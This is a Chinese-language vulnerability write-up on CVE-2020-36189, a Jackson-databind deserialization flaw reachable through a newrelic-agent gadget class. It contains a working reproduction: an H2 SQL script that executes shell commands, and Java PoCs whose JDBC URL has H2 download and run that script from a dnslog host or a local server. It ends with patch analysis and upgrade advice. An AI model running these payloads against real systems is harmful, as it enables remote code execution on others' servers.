CVE-2020-36189:Jackson-databind SSRF&RCE

2021-04-01 10:12:59 浏览数 (1)

影响范围

Jackson-databind < 2.9.10.7

漏洞类型

JDNI注入导致RCE

利用条件

  • 开启enableDefaultTyping()
  • 使用了com.h2databasecom.newrelic.agent.java第三方依赖库

漏洞概述

com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成SSRF&RCE。

漏洞复现

环境搭建

pom.xml文件如下:

代码语言:html复制
    <dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.newrelic.agent.java/newrelic-agent -->
        <dependency>
            <groupId>com.newrelic.agent.java</groupId>
            <artifactId>newrelic-agent</artifactId>
            <version>4.9.0</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>1.4.199</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
    </dependencies>

漏洞利用

构造exec.sql
代码语言:javascript复制
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')

简易web服务

代码语言:javascript复制
python2 -m simpleHTTPServer 4444

执行漏洞POC1

poc.java代码如下所示:

代码语言:javascript复制
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "["com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://6vrdsp.dnslog.cn/exec.sql'"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);

    }
}

dnslog平台结果:

执行漏洞POC2

Poc.java代码如下所示:

代码语言:javascript复制
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "["com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:4444/exec.sql'"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);

    }
}

之后运行该程序,成功执行命令,弹出计算器:

漏洞分析

com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中提供了对url的set方法,可以通过反序列化进行赋值操作,同时在getConnection中通过DriverManager.getConnection()进行远程连接,参数url可控,从而可导致SSRF,当classpath中存在h2数据库时甚至可以导致RCE:

Gadget如下:

代码语言:javascript复制
DriverManagerConnectionSource
    ->seturl
        ->getConnection
            ->DirverManager.getConnection(this.url)

补丁分析

官方将com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource加入黑名单中,但是这种修复方案只能一时间缓解,因为难免会出现其他黑名单绕过方案:

修复建议

  • 及时将jackson-databind升级到安全版本(>2.9.10.7)
  • 升级到较高版本的JDK

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